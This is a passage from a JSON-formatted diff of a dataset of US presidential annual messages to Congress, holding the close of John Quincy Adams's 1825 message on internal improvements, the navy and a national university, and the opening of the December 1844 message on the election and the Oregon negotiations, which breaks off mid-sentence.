tribes beyond the Mississippi. An act of\nMarch 3d, 1825, authorized treaties to be made with the Indians for\ntheir consent to the making of a road from the frontier of Missouri to\nthat of New Mexico, and another act of the same date provided for\ndefraying the expenses of holding treaties with the Sioux, Chippeways,\nMenomenees, Sauks, Foxes, etc., for the purpose of establishing\nboundaries and promoting peace between said tribes.The first and last objects of these acts have been accomplished, and\nthe second is yet in a process of execution. The treaties which since\nthe last session of Congress have been concluded with the several\ntribes will be laid before the Senate for their consideration\nconformably to the Constitution. They comprise large and valuable\nacquisitions of territory, and they secure an adjustment of boundaries\nand give pledges of permanent peace between several tribes which had\nbeen long waging bloody wars against each other.On the 12th of February last a treaty was signed at the Indian Springs\nbetween commissioners appointed on the part of the United States and\ncertain chiefs and individuals of the Creek Nation of Indians, which\nwas received at the seat of Government only a very few days before the\nclose of the last session of Congress and of the late Administration.\nThe advice and consent of the Senate was given to it on the 3d of\nMarch, too late for it to receive the ratification of the then\nPresident of the United States; it was ratified on the 7th of March,\nunder the unsuspecting impression that it had been negotiated in good\nfaith and in the confidence inspired by the recommendation of the\nSenate. The subsequent transactions in relation to this treaty will\nform the subject of a separate communication.The appropriations made by Congress for public works, as well in the\nconstruction of fortifications as for purposes of internal improvement,\nso far as they have been expended, have been faithfully applied. Their\nprogress has been delayed by the want of suitable officers for\nsuperintending them. An increase of both the corps of engineers,\nmilitary and topographical, was recommended by my predecessor at the\nlast session of Congress. The reasons upon which that recommendation\nwas founded subsist in all their force and have acquired additional\nurgency since that time. The Military Academy at West Point will\nfurnish from the cadets there officers well qualified for carrying this\nmeasure into effect.The Board of Engineers for Internal Improvement, appointed for carrying\ninto execution the act of Congress of April 30th, 1824, \"to procure the\nnecessary surveys, plans, and estimates on the subject of roads and\ncanals\", have been actively engaged in that service from the close of\nthe last session of Congress. They have completed the surveys necessary\nfor ascertaining the practicability of a canal from the Chesapeake Bay\nto the Ohio River, and are preparing a full report on that subject,\nwhich, when completed, will be laid before you. The same observation is\nto be made with regard to the two other objects of national importance\nupon which the Board have been occupied, namely, the accomplishment of\na national road from this city to New Orleans, and the practicability\nof uniting the waters of Lake Memphramagog with Connecticut River and\nthe improvement of the navigation of that river. The surveys have been\nmade and are nearly completed. The report may be expected at an early\nperiod during the present session of Congress.The acts of Congress of the last session relative to the surveying,\nmarking, or laying out roads in the Territories of Florida, Arkansas,\nand Michigan, from Missouri to Mexico, and for the continuation of the\nCumberland road, are, some of them, fully executed, and others in the\nprocess of execution. Those for completing or commencing fortifications\nhave been delayed only so far as the Corps of Engineers has been\ninadequate to furnish officers for the necessary superintendence of the\nworks. Under the act confirming the statutes of Virginia and Maryland\nincorporating the Chesapeake and Ohio Canal Company, three\ncommissioners on the part of the United States have been appointed for\nopening books and receiving subscriptions, in concert with a like\nnumber of commissioners appointed on the part of each of those States.\nA meeting of the commissioners has been postponed, to await the\ndefinitive report of the board of engineers.The light-houses and monuments for the safety of our commerce and\nmariners, the works for the security of Plymouth Beach and for the\npreservation of the islands in Boston Harbor, have received the\nattention required by the laws relating to those objects respectively.\nThe continuation of the Cumberland road, the most important of them\nall, after surmounting no inconsiderable difficulty in fixing upon the\ndirection of the road, has commenced under the most promising of\nauspices, with the improvements of recent invention in the mode of\nconstruction, and with advantage of a great reduction in the\ncomparative cost of the work.The operation of the laws relating to the Revolutionary pensioners may\ndeserve the renewed consideration of Congress. The act of March 18th,\n1818, while it made provision for many meritorious and indigent\ncitizens who had served in the War of Independence, opened a door to\nnumerous abuses and impositions. To remedy this the act of May 1st, 1820,\nexacted proofs of absolute indigence, which many really in want were\nunable and all susceptible of that delicacy which is allied to many\nvirtues must be deeply reluctant to give. The result has been that some\namong the least deserving have been retained, and some in whom the\nrequisites both of worth and want were combined have been stricken from\nthe list. As the numbers of these venerable relics of an age gone by\ndiminish; as the decays of body, mind, and estate of those that survive\nmust in the common course of nature increase, should not a more liberal\nportion of indulgence be dealt out to them? May not the want in most\ninstances be inferred from the demand when the service can be proved,\nand may not the last days of human infirmity be spared the\nmortification of purchasing a pittance of relief only by the exposure\nof its own necessities? I submit to Congress the expediency of\nproviding for individual cases of this description by special\nenactment, or of revising the act of May 1st, 1820, with a view to\nmitigate the rigor of its exclusions in favor of persons to whom\ncharity now bestowed can scarcely discharge the debt of justice.The portion of the naval force of the Union in actual service has been\nchiefly employed on three stations--the Mediterranean, the coasts of\nSouth America bordering on the Pacific Ocean, and the West Indies. An\noccasional cruiser has been sent to range along the African shores most\npolluted by the traffic of slaves; one armed vessel has been stationed\non the coast of our eastern boundary, to cruise along the fishing\ngrounds in Hudsons Bay and on the coast of Labrador, and the first\nservice of a new frigate has been performed in restoring to his native\nsoil and domestic enjoyments the veteran hero whose youthful blood and\ntreasure had freely flowed in the cause of our country's independence,\nand whose whole life has been a series of services and sacrifices to\nthe improvement of his fellow men.The visit of General Lafayette, alike honorable to himself and to our\ncountry, closed, as it had commenced, with the most affecting\ntestimonials of devoted attachment on his part, and of unbounded\ngratitude of this people to him in return. It will form here-after a\npleasing incident in the annals of our Union, giving to real history\nthe intense interest of romance and signally marking the unpurchasable\ntribute of a great nation's social affections to the disinterested\nchampion of the liberties of human-kind.The constant maintenance of a small squadron in the Mediterranean is a\nnecessary substitute for the humiliating alternative of paying tribute\nfor the security of our commerce in that sea, and for a precarious\npeace, at the mercy of every caprice of four Barbary States, by whom it\nwas liable to be violated. An additional motive for keeping a\nrespectable force stationed there at this time is found in the maritime\nwar raging between the Greeks and the Turks, and in which the neutral\nnavigation of this Union is always in danger of outrage and\ndepredation. A few instances have occurred of such depredations upon\nour merchant vessels by privateers or pirates wearing the Grecian flag,\nbut without real authority from the Greek or any other Government. The\nheroic struggles of the Greeks themselves, in which our warmest\nsympathies as free men and Christians have been engaged, have continued\nto be maintained with vicissitudes of success adverse and favorable.Similar motives have rendered expedient the keeping of a like force on\nthe coasts of Peru and Chile on the Pacific. The irregular and\nconvulsive character of the war upon the shores has been extended to\nthe conflicts upon the ocean. An active warfare has been kept up for\nyears with alternate success, though generally to the advantage of the\nAmerican patriots. But their naval forces have not always been under\nthe control of their own Governments. Blockades, unjustifiable upon any\nacknowledged principles of international law, have been proclaimed by\nofficers in command, and though disavowed by the supreme authorities,\nthe protection of our own commerce against them has been made cause of\ncomplaint and erroneous imputations against some of the most gallant\nofficers of our Navy. Complaints equally groundless have been made by\nthe commanders of the Spanish royal forces in those seas; but the most\neffective protection to our commerce has been the flag and the firmness\nof our own commanding officers.The cessation of the war by the complete triumph of the patriot cause\nhas removed, it is hoped, all cause of dissension with one party and\nall vestige of force of the other. But an unsettled coast of many\ndegrees of latitude forming a part of our own territory and a\nflourishing commerce and fishery extending to the islands of the\nPacific and to China still require that the protecting power of the\nUnion should be displayed under its flag as well upon the ocean as upon\nthe land.The objects of the West India Squadron have been to carry into\nexecution the laws for the suppression of the African slave trade; for\nthe protection of our commerce against vessels of piratical character,\nthough bearing commissions from either of the belligerent parties; for\nits protection against open and unequivocal pirates. These objects\nduring the present year have been accomplished more effectually than at\nany former period. The African slave trade has long been excluded from\nthe use of our flag, and if some few citizens of our country have\ncontinued to set the laws of the Union as well as those of nature and\nhumanity at defiance by persevering in that abominable traffic, it has\nbeen only by sheltering themselves under the banners of other nations\nless earnest for the total extinction of the trade of ours.The active, persevering, and unremitted energy of Captain Warrington\nand of the officers and men under his command on that trying and\nperilous service have been crowned with signal success, and are\nentitled to the approbation of their country. But experience has shown\nthat not even a temporary suspension or relaxation from assiduity can\nbe indulged on that station without reproducing piracy and murder in\nall their horrors; nor is it probably that for years to come our\nimmensely valuable commerce in those seas can navigate in security\nwithout the steady continuance of an armed force devoted to its\nprotection.It were, indeed, a vain and dangerous illusion to believe that in the\npresent or probable condition of human society a commerce so extensive\nand so rich as ours could exist and be pursued in safety without the\ncontinual support of a military marine--the only arm by which the power\nof this Confederacy can be estimated or felt by foreign nations, and\nthe only standing military force which can never be dangerous to our\nown liberties at home. A permanent naval peace establishment,\ntherefore, adapted to our present condition, and adaptable to that\ngigantic growth with which the nation is advancing in its career, is\namong the subjects which have already occupied the foresight of the\nlast Congress, and which will deserve your serious deliberations. Our\nNavy, commenced at an early period of our present political\norganization upon a scale commensurate with the incipient energies, the\nscanty resources, and the comparative indigence of our infancy, was\neven then found adequate to cope with all the powers of Barbary, save\nthe first, and with one of the principle maritime powers of Europe.At a period of further advancement, but with little accession of\nstrength, it not only sustained with honor the most unequal of\nconflicts, but covered itself and our country with unfading glory. But\nit is only since the close of the late war that by the numbers and\nforce of the ships of which it was composed it could deserve the name\nof a navy. Yet it retains nearly the same organization as when it\nconsisted only of five frigates. The rules and regulations by which it\nis governed earnestly call for revision, and the want of a naval school\nof instruction, corresponding with the Military Academy at West Point,\nfor the formation of scientific and accomplished officers, is felt with\ndaily increasing aggravation.The act of Congress of May 26th, 1824, authorizing an examination and\nsurvey of the harbor of Charleston, in South Carolina, of St. Marys, in\nGeorgia, and of the coast of Florida, and for other purposes, has been\nexecuted so far as the appropriation would admit. Those of the 3d of\nMarch last, authorizing the establishment of a navy yard and depot on\nthe coast of Florida, in the Gulf of Mexico, and authorizing the\nbuilding of ten sloops of war, and for other purposes, are in the\ncourse of execution, for the particulars of which and other objects\nconnected with this Department I refer to the report of the Secretary\nof the Navy, herewith communicated.A report from the Post Master General is also submitted, exhibiting the\npresent flourishing condition of that Department. For the first time\nfor many years the receipts for the year ending on the first of July\nlast exceeded the expenditures during the same period to the amount of\nmore than $45,000. Other facts equally creditable to the administration\nof this Department are that in two years from July 1st, 1823, an\nimprovement of more than $185,000 in its pecuniary affairs has been\nrealized; that in the same interval the increase of the transportation\nof the mail has exceeded 1,500,000 miles annually, and that 1,040 new\npost offices have been established. It hence appears that under\njudicious management the income from this establishment may be relied\non as fully adequate to defray its expenses, and that by the\ndiscontinuance of post roads altogether unproductive, others of more\nuseful character may be opened, 'til the circulation of the mail shall\nkeep pace with the spread of our population, and the comforts of\nfriendly correspondence, the exchanges of internal traffic, and the\nlights of the periodical press shall be distributed to the remotest\ncorners of the Union, at a charge scarcely perceptible to any\nindividual, and without the cost of a dollar to the public Treasury.Upon this first occasion of addressing the Legislature of the Union,\nwith which I have been honored, in presenting to their view the\nexecution so far as it has been effected of the measures sanctioned by\nthem for promoting the internal improvement of our country, I can not\nclose the communication without recommending to their calm and\npersevering consideration the general principle in a more enlarged\nextent. The great object of the institution of civil government is the\nimprovement of the condition of those who are parties to the social\ncompact, and no government, in what ever form constituted, can\naccomplish the lawful ends of its institution but in proportion as it\nimproves the condition of those over whom it is established. Roads and\ncanals, by multiplying and facilitating the communications and\nintercourse between distant regions and multitudes of men, are among\nthe most important means of improvement. But moral, political,\nintellectual improvement are duties assigned by the Author of Our\nExistence to social no less than to individual man.For the fulfillment of those duties governments are invested with\npower, and to the attainment of the end--the progressive improvement of\nthe condition of the governed--the exercise of delegated powers is a\nduty as sacred and indispensable as the usurpation of powers not\ngranted is criminal and odious.Among the first, perhaps the very first, instrument for the improvement\nof the condition of men is knowledge, and to the acquisition of much of\nthe knowledge adapted to the wants, the comforts, and enjoyments of\nhuman life public institutions and seminaries of learning are\nessential. So convinced of this was the first of my predecessors in\nthis office, now first in the memory, as, living, he was first in the\nhearts, of our country-men, that once and again in his addresses to the\nCongresses with whom he cooperated in the public service he earnestly\nrecommended the establishment of seminaries of learning, to prepare for\nall the emergencies of peace and war--a national university and a\nmilitary academy. With respect to the latter, had he lived to the\npresent day, in turning his eyes to the institution at West Point he\nwould have enjoyed the gratification of his most earnest wishes; but in\nsurveying the city which has been honored with his name he would have\nseen the spot of earth which he had destined and bequeathed to the use\nand benefit of his country as the site for a university still bare and\nbarren.In assuming her station among the civilized nations of the earth it\nwould seem that our country had contracted the engagement to contribute\nher share of mind, of labor, and of expense to the improvement of those\nparts of knowledge which lie beyond the reach of individual\nacquisition, and particularly to geographical and astronomical science.\nLooking back to the history only of the half century since the\ndeclaration of our independence, and observing the generous emulation\nwith which the Governments of France, Great Britain, and Russia have\ndevoted the genius, the intelligence, the treasures of their respective\nnations to the common improvement of the species in these branches of\nscience, is it not incumbent upon us to inquire whether we are not\nbound by obligations of a high and honorable character to contribute\nour portion of energy and exertion to the common stock? The voyages of\ndiscovery prosecuted in the course of that time at the expense of those\nnations have not only redounded to their glory, but to the improvement\nof human knowledge.We have been partakers of that improvement and owe for it a sacred\ndebt, not only of gratitude, but of equal or proportional exertion in\nthe same common cause. Of the cost of these undertakings, if the mere\nexpenditures of outfit, equipment, and completion of the expeditions\nwere to be considered the only charges, it would be unworthy of a great\nand generous nation to take a second thought. One hundred expeditions\nof circumnavigation like those of Cook and La Prouse would not burden\nthe exchequer of the nation fitting them out so much as the ways and\nmeans of defraying a single campaign in war. But if we take into\naccount the lives of those benefactors of man-kind of which their\nservices in the cause of their species were the purchase, how shall the\ncost of those heroic enterprises be estimated, and what compensation\ncan be made to them or to their countries for them? Is it not by\nbearing them in affectionate remembrance? Is it not still more by\nimitating their example--by enabling country-men of our own to pursue\nthe same career and to hazard their lives in the same cause?In inviting the attention of Congress to the subject of internal\nimprovements upon a view thus enlarged it is not my desire to recommend\nthe equipment of an expedition for circumnavigating the globe for\npurposes of scientific research and inquiry. We have objects of useful\ninvestigation nearer home, and to which our cares may be more\nbeneficially applied. The interior of our own territories has yet been\nvery imperfectly explored. Our coasts along many degrees of latitude\nupon the shores of the Pacific Ocean, though much frequented by our\nspirited commercial navigators, have been barely visited by our public\nships. The River of the West, first fully discovered and navigated by a\ncountry-man of our own, still bears the name of the ship in which he\nascended its waters, and claims the protection of our armed national\nflag at its mouth. With the establishment of a military post there or\nat some other point of that coast, recommended by my predecessor and\nalready matured in the deliberations of the last Congress, I would\nsuggest the expediency of connecting the equipment of a public ship for\nthe exploration of the whole north-west coast of this continent.The establishment of an uniform standard of weights and measures was\none of the specific objects contemplated in the formation of our\nConstitution, and to fix that standard was on of the powers delegated\nby express terms in that instrument to Congress. The Governments of\nGreat Britain and France have scarcely ceased to be occupied with\ninquiries and speculations on the same subject since the existence of\nour Constitution, and with them it has expanded into profound,\nlaborious, and expensive researches into the figure of the earth and\nthe comparative length of the pendulum vibrating seconds in various\nlatitudes from the equator to the pole. These researches have resulted\nin the composition and publication of several works highly interesting\nto the cause of science. The experiments are yet in the process of\nperformance. Some of them have recently been made on our own shores,\nwithin the walls of one of our own colleges, and partly by one of our\nown fellow citizens. It would be honorable to our country if the sequel\nof the same experiments should be countenanced by the patronage of our\nGovernment, as they have hitherto been by those of France and Britain.Connected with the establishment of an university, or separate from it,\nmight be undertaken the erection of an astronomical observatory, with\nprovision for the support of an astronomer, to be in constant\nattendance of observation upon the phenomena of the heavens, and for\nthe periodical publication of his observances. It is with no feeling of\npride as an American that the remark may be made that on the\ncomparatively small territorial surface of Europe there are existing\nupward of 130 of these light-houses of the skies, while throughout the\nwhole American hemisphere there is not one. If we reflect a moment upon\nthe discoveries which in the last four centuries have been made in the\nphysical constitution of the universe by the means of these buildings\nand of observers stationed in them, shall we doubt of their usefulness\nto every nation? And while scarcely a year passes over our heads\nwithout bringing some new astronomical discovery to light, which we\nmust fain receive at second hand from Europe, are we not cutting\nourselves off from the means of returning light for light while we have\nneither observatory nor observer upon our half of the globe and the\nearth revolves in perpetual darkness to our unsearching eyes?When, on October 25th, 1791, the first President of the United States\nannounced to Congress the result of the first enumeration of the\ninhabitants of this Union, he informed them that the returns gave the\npleasing assurance that the population of the United States bordered on\n4,000,000 persons. At the distance of 30 years from that time the last\nenumeration, five years since completed, presented a population\nbordering on 10,000,000. Perhaps of all the evidence of a prosperous\nand happy condition of human society the rapidity of the increase of\npopulation is the most unequivocal. But the demonstration of our\nprosperity rests not alone upon this indication.Our commerce, our wealth, and the extent of our territories have\nincreased in corresponding proportions, and the number of independent\ncommunities associated in our Federal Union has since that time nearly\ndoubled. The legislative representation of the States and people in the\ntwo Houses of Congress has grown with the growth of their constituent\nbodies. The House, which then consisted of 65 members, now numbers\nupward of 200. The Senate, which consisted of 26 members, has now 48.\nBut the executive and, still more, the judiciary departments are yet in\na great measure confined to their primitive organization, and are now\nnot adequate to the urgent wants of a still growing community.The naval armaments, which at an early period forced themselves upon\nthe necessities of the Union, soon led to the establishment of a\nDepartment of the Navy. But the Departments of Foreign Affairs and of\nthe Interior, which early after the formation of the Government had\nbeen united in one, continue so united to this time, to the\nunquestionable detriment of the public service. The multiplication of\nour relations with the nations and Governments of the Old World has\nkept pace with that of our population and commerce, while within the\nlast ten years a new family of nations in our own hemisphere has arisen\namong the inhabitants of the earth, with whom our intercourse,\ncommercial and political, would of itself furnish occupation to an\nactive and industrious department.The constitution of the judiciary, experimental and imperfect as it was\neven in the infancy of our existing Government, is yet more inadequate\nto the administration of national justice at our present maturity. Nine\nyears have elapsed since a predecessor in this office, now not the\nlast, the citizen who, perhaps, of all others throughout the Union\ncontributed most to the formation and establishment of our\nConstitution, in his valedictory address to Congress, immediately\npreceding his retirement from public life, urgently recommended the\nrevision of the judiciary and the establishment of an additional\nexecutive department. The exigencies of the public service and its\nunavoidable deficiencies, as now in exercise, have added yearly\ncumulative weight to the considerations presented by him as persuasive\nto the measure, and in recommending it to your deliberations I am happy\nto have the influence of this high authority in aid of the undoubting\nconvictions of my own experience.The laws relating to the administration of the Patent Office are\ndeserving of much consideration and perhaps susceptible of some\nimprovement. The grant of power to regulate the action of Congress upon\nthis subject has specified both the end to be obtained and the means by\nwhich it is to be effected, \"to promote the progress of science and\nuseful arts by securing for limited times to authors and inventors the\nexclusive right to their respective writings and discoveries\". If an\nhonest pride might be indulged in the reflection that on the records of\nthat office are already found inventions the usefulness of which has\nscarcely been transcended in the annals of human ingenuity, would not\nits exultation be allayed by the inquiry whether the laws have\neffectively insured to the inventors the reward destined to them by the\nConstitution--even a limited term of exclusive right to their\ndiscoveries?On December 24th, 1799, it was resolved by Congress that a marble\nmonument should be erected by the United States in the Capitol at the\ncity of Washington; that the family of General Washington should be\nrequested to permit his body to be deposited under it, and that the\nmonument be so designed as to commemorate the great events of his\nmilitary and political life. In reminding Congress of this resolution\nand that the monument contemplated by it remains yet without execution,\nI shall indulge only the remarks that the works at the Capitol are\napproaching to completion; that the consent of the family, desired by\nthe resolution, was requested and obtained; that a monument has been\nrecently erected in this city over the remains of another distinguished\npatriot of the Revolution, and that a spot has been reserved within the\nwalls where you are deliberating for the benefit of this and future\nages, in which the mortal remains may be deposited of him whose spirit\nhovers over you and listens with delight to every act of the\nrepresentatives of his nation which can tend to exalt and adorn his and\ntheir country.The Constitution under which you are assembled is a charter of limited\npowers. After full and solemn deliberation upon all or any of the\nobjects which, urged by an irresistible sense of my own duty, I have\nrecommended to your attention should you come to the conclusion that,\nhowever desirable in themselves, the enactment of laws for effecting\nthem would transcend the powers committed to you by that venerable\ninstrument which we are all bound to support, let no consideration\ninduce you to assume the exercise of powers not granted to you by the\npeople.But if the power to exercise exclusive legislation in all cases what so\never over the District of Columbia; if the power to lay and collect\ntaxes, duties, imposts, and excises, to pay the debts and provide for\nthe common defense and general welfare of the United States; if the\npower to regulate commerce with foreign nations and among the several\nStates and with the Indian tribes, to fix the standard of weights and\nmeasures, to establish post offices and post roads, to declare war, to\nraise and support armies, to provide and maintain a navy, to dispose of\nand make all needful rules and regulations respecting the territory or\nother property belonging to the United States, and to make all laws\nwhich shall be necessary and proper for carrying these powers into\nexecution--if these powers and others enumerated in the Constitution\nmay be effectually brought into action by laws promoting the\nimprovement of agriculture, commerce, and manufactures, the cultivation\nand encouragement of the mechanic and of the elegant arts, the\nadvancement of literature, and the progress of the sciences, ornamental\nand profound, to refrain from exercising them for the benefit of the\npeople themselves would be to hide in the earth the talent committed to\nour charge--would be treachery to the most sacred of trusts.The spirit of improvement is abroad upon the earth. It stimulates the\nhearts and sharpens the faculties not of our fellow citizens alone, but\nof the nations of Europe and of their rulers. While dwelling with\npleasing satisfaction upon the superior excellence of our political\ninstitutions, let us not be unmindful that liberty is power; that the\nnation blessed with the largest portion of liberty must in proportion\nto its numbers be the most powerful nation upon earth, and that the\ntenure of power by man is, in the moral purposes of his Creator, upon\ncondition that it shall be exercised to ends of beneficence, to improve\nthe condition of himself and his fellow men.While foreign nations less blessed with that freedom which is power\nthan ourselves are advancing with gigantic strides in the career of\npublic improvement, were we to slumber in indolence or fold up our arms\nand proclaim to the world that we are palsied by the will of our\nconstituents, would it not be to cast away the bounties of Providence\nand doom ourselves to perpetual inferiority? In the course of the year\nnow drawing to its close we have beheld, under the auspices and at the\nexpense of one State of this Union, a new university unfolding its\nportals to the sons of science and holding up the torch of human\nimprovement to eyes that seek the light. We have seen under the\npersevering and enlightened enterprise of another State the waters of\nour Western lakes mingle with those of the ocean. If undertakings like\nthese have been accomplished in the compass of a few years by the\nauthority of single members of our Confederation, can we, the\nrepresentative authorities of the whole Union, fall behind our fellow\nservants in the exercise of the trust committed to us for the benefit\nof our common sovereign by the accomplishment of works important to the\nwhole and to which neither the authority nor the resources of any one\nState can be adequate?Finally, fellow citizens, I shall await with cheering hope and faithful\ncooperation the result of your deliberations, assured that, without\nencroaching upon the powers reserved to the authorities of the\nrespective States or to the people, you will, with a due sense of your\nobligations to your country and of the high responsibilities weighing\nupon yourselves, give efficacy to the means committed to you for the\ncommon good. And may He who searches the hearts of the children of men\nprosper your exertions to secure the blessings of peace and promote the\nhighest welfare of your country.JOHN QUINCY ADAMS", 
+    "name": "John Quincy Adams"
+}
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+{
+    "date": "December 3, 1844", 
+    "speech": "To the Senate and House of Representatives of the United States:We have continued cause for expressing our gratitude to the Supreme Ruler\nof the Universe for the benefits and blessings which our country, under His\nkind providence, has enjoyed during the past year. Notwithstanding the\nexciting scenes through which we have passed, nothing has occurred to\ndisturb the general peace or to derange the harmony of our political\nsystem. The great moral spectacle has been exhibited of a nation\napproximating in number to 20,000,000 people having performed the high and\nimportant function of electing their Chief Magistrate for the term of four\nyears without the commission of any acts of violence or the manifestation\nof a spirit of insubordination to the laws. The great and inestimable right\nof suffrage has been exercised by all who were invested with it under the\nlaws of the different States in a spirit dictated alone by a desire, in the\nselection of the agent, to advance the interests of the country and to\nplace beyond jeopardy the institutions under which it is our happiness to\nlive. That the deepest interest has been manifested by all our countrymen\nin the result of the election is not less true than highly creditable to\nthem. Vast multitudes have assembled from time to time at various places\nfor the purpose of canvassing the merits and pretensions of those who were\npresented for their suffrages, but no armed soldiery has been necessary to\nrestrain within proper limits the popular zeal or to prevent violent\noutbreaks. A principle much more controlling was found in the love of order\nand obedience to the laws, which, with mere individual exceptions,\neverywhere possesses the American mind, and controls with an influence far\nmore powerful than hosts of armed men. We can not dwell upon this picture\nwithout recognizing in it that deep and devoted attachment on the part of\nthe people to the institutions under which we live which proclaims their\nperpetuity. The great objection which has always prevailed against the\nelection by the people of their chief executive officer has been the\napprehension of tumults and disorders which might involve in ruin the\nentire Government. A security against this is found not only in the fact\nbefore alluded to, trot in the additional fact that we live under a\nConfederacy embracing already twenty-six States, no one of which has power\nto control the election. The popular vote in each State is taken at the\ntime appointed by the laws, and such vote is announced by the electoral\ncollege without reference to the decision of other States. The right of\nsuffrage and the mode of conducting the election are regulated by the laws\nof each State, and the election is distinctly federative in all its\nprominent features. Thus it is that, unlike what might be the results under\na consolidated system, riotous proceedings, should they prevail, could only\naffect the elections in single States without disturbing to any dangerous\nextent the tranquillity of others. The great experiment of a political\nconfederation each member of which is supreme as to all matters\nappertaining to its local interests and its internal peace and happiness,\nwhile by a voluntary compact with others it confides to the united power of\nall the protection of its citizens in matters not domestic has been so far\ncrowned with complete success. The world has witnessed its rapid growth in\nwealth and population, and under the guide and direction of a\nsuperintending Providence the developments of the past may be regarded but\nas the shadowing forth of the mighty future. In the bright prospects of\nthat future we shall find, as patriots and philanthropists, the highest\ninducements to cultivate and cherish a love of union and to frown down\nevery measure or effort which may be made to alienate the States or the\npeople of the States in sentiment and feeling from each other. A rigid and\nclose adherence to the terms of our political compact and, above all, a\nsacred observance of the guaranties of the Constitution will preserve union\non a foundation which can not be shaken, while personal liberty is placed\nbeyond hazard or jeopardy. The guaranty of religious freedom, of the\nfreedom of the press, of the liberty of speech, of the trial by jury, of\nthe habeas corpus, and of the domestic institutions of each of the States,\nleaving the private citizen in the full exercise of the high and ennobling\nattributes of his nature and to each State the privilege (which can only be\njudiciously exerted by itself) of consulting the means best calculated to\nadvance its own happiness--these are the great and important guaranties of\nthe Constitution which the lovers of liberty must cherish and the advocates\nof union must ever cultivate. Preserving these and avoiding all\ninterpolations by forced construction under the guise of an imagined\nexpediency upon the Constitution, the influence of our political system is\ndestined to be as actively and as beneficially felt on the distant shores\nof the Pacific as it is now on those of the Atlantic Ocean. The only\nformidable impediments in the way of its successful expansion (time and\nspace) are so far in the progress of modification by the improvements of\nthe age as to render no longer speculative the ability of representatives\nfrom that remote region to come up to the Capitol, so that their\nconstituents shall participate in all the benefits of Federal legislation.\nThus it is that in the progress of time the inestimable principles of civil\nliberty will be enjoyed by millions yet unborn and the great benefits of\nour system of government be extended to now distant and uninhabited\nregions. In view of the vast wilderness yet to be reclaimed, we may well\ninvite the lover of freedom of every land to take up his abode among us and\nassist us in the great work of advancing the standard of civilization and\ngiving a wider spread to the arts and refinements of cultivated life. Our\nprayers should evermore be offered up to the Father of the Universe for His\nwisdom to direct us in the path of our duty so as to enable us to\nconsummate these high purposes.One of the strongest objections which has been urged against confederacies\nby writers on government is the liability of the members to be tampered\nwith by foreign governments or the people of foreign states, either in\ntheir local affairs or in such as affected the peace of others or\nendangered the safety of the whole confederacy. We can not hope to be\nentirely exempt from such attempts on our peace and safety. The United\nStates are becoming too important in population and resources not to\nattract the observation of other nations. It therefore may in the progress\nof time occur that opinions entirely abstract in the States which they may\nprevail and in no degree affecting their domestic institutions may be\nartfully but secretly encouraged with a view to undermine the Union. Such\nopinions may become the foundation of political parties, until at last the\nconflict of opinion, producing an alienation of friendly feeling among the\npeople of the different States, may involve in general destruction the\nhappy institutions under which we live. It should ever be borne in mind\nthat what is true in regard to individuals is equally so in regard to\nstates. An interference of one in the affairs of another is the fruitful\ncause of family dissensions and neighborhood disputes, and the same cause\naffects the peace, happiness, and prosperity of states. It may be most\ndevoutly hoped that the good sense of the American people will ever be\nready to repel all such attempts should they ever be made.There has been no material change in our foreign relations since my last\nannual message to Congress. With all the powers of Europe we continue on\nthe most friendly terms. Indeed, it affords me much satisfaction to state\nthat at no former period has the peace of that enlightened and important\nquarter of the globe ever been, apparently, more firmly established. The\nconviction that peace is the true policy of nations would seem to be\ngrowing and becoming deeper amongst the enlightened everywhere, and there\nis no people who have a stronger interest in cherishing the sentiments and\nadopting the means of preserving and giving it permanence than those of the\nUnited States. Amongst these, the first and most effective are, no doubt,\nthe strict observance of justice and the honest and punctual fulfillment of\nall engagements. But it is not to be forgotten that in the present state of\nthe world it is no less necessary to be ready to enforce their observance\nand fulfillment in reference to ourselves than to observe and fulfill them\non our part in regard to others.Since the close of your last session a negotiation has been formally\nentered upon between the Secretary of State and Her Britannic Majesty's\nminister plenipotentiary and envoy extraordinary residing at Washington\nrelative to the rights of their respective nations in and over the Oregon\nTerritory. That negotiation is still pending. Should it during your session\nbe brought to a definitive conclusion, the result will be promptly\ncommunicated to Congress. I would, however, again call your attention to\nthe recommendations contained in previous messages designed to protect and\nfacilitate emigration to that Territory. The establishment of military\nposts at suitable points upon the extended line of land travel would enable\nour citizens to emigrate in comparative safety to the fertile regions below\nthe Falls of the Columbia, and make the provision of the existing\nconvention for the joint occupation of the territory by subjects of Great\nBritain and the citizens of the United States more available than\nheretofore to the latter. These posts would constitute places of rest for\nthe weary emigrant, where he would be sheltered securely against the danger\nof attack from the Indians and be enabled to recover from the exhaustion of\na long line of travel. Legislative enactments should also be made which\nshould spread over him the aegis of our laws, so as to afford protection to\nhis person and property when he shall have reached his distant home. In\nthis latter respect the British Government has been much more careful of\nthe interests of such of her people as are to be found in that country than\nthe United States. She has made necessary provision for their security and\nprotection against the acts of the viciously disposed and lawless, and her\nemigrant reposes in safety under the panoply of her laws. Whatever may be\nthe result of the pending negotiation, such measures are necessary. It will\nafford me the greatest pleasure to witness a happy and favorable\ntermination to the existing negotiation upon terms compatible with the\npublic honor, and the best efforts of the Government will continue to be\ndirected to this end.It would have given me the highest gratification in this my last annual\ncommunication to Congress to have been able to announce to you the complete\nand entire settlement and adjustment of other matters in difference between\nthe United States and the Government of Her Britannic Majesty, which were\nadverted to in a previous message. It is so obviously the interest of both\ncountries, in respect to the large and valuable commerce which exists\nbetween them, that all causes of complaint, however inconsiderable, should\nbe with the greatest promptitude removed that it must be regarded as cause\nof regret that any unnecessary delays should be permitted to intervene. It\nis true that in a pecuniary point of view the matters alluded to are\naltogether insignificant in amount when compared with the ample resources\nof that great nation, but they nevertheless, more particularly that limited\nclass which arise under seizures and detentions of American ships on the\ncoast of Africa upon the mistaken supposition indulged in at the time the\nwrong was committed of their being engaged in the slave trade, deeply\naffect the sensibilities of this Government and people. Great Britain,\nhaving recognized her responsibility to repair all such wrongs by her\naction in other cases, leaves nothing to be regretted upon the subject as\nto all cases arising prior to the treaty of Washington than the delay in\nmaking suitable reparation in such of them as fall plainly within the\nprinciple of others which she has long since adjusted. The injury inflicted\nby delays in the settlement of these claims falls with severity upon the\nindividual claimants and makes a strong appeal to her magnanimity and sense\nof justice for a speedy settlement. Other matters arising out of the\nconstruction of existing treaties also remain unadjusted, and will continue\nto be urged upon her attention.The labors of the joint commission appointed by the two Governments to run\nthe dividing line established by the treaty of Washington were,\nunfortunately, much delayed in the commencement of the season by the\nfailure of Congress at its last session to make a timely appropriation of\nfunds to meet the expenses of the American party, and by other causes. The\nUnited States commissioner, however, expresses his expectation that by\nincreased diligence and energy the party will be able to make up for lost\ntime.We continue to receive assurances of the most friendly feelings on the part\nof all the other European powers, with each and all of 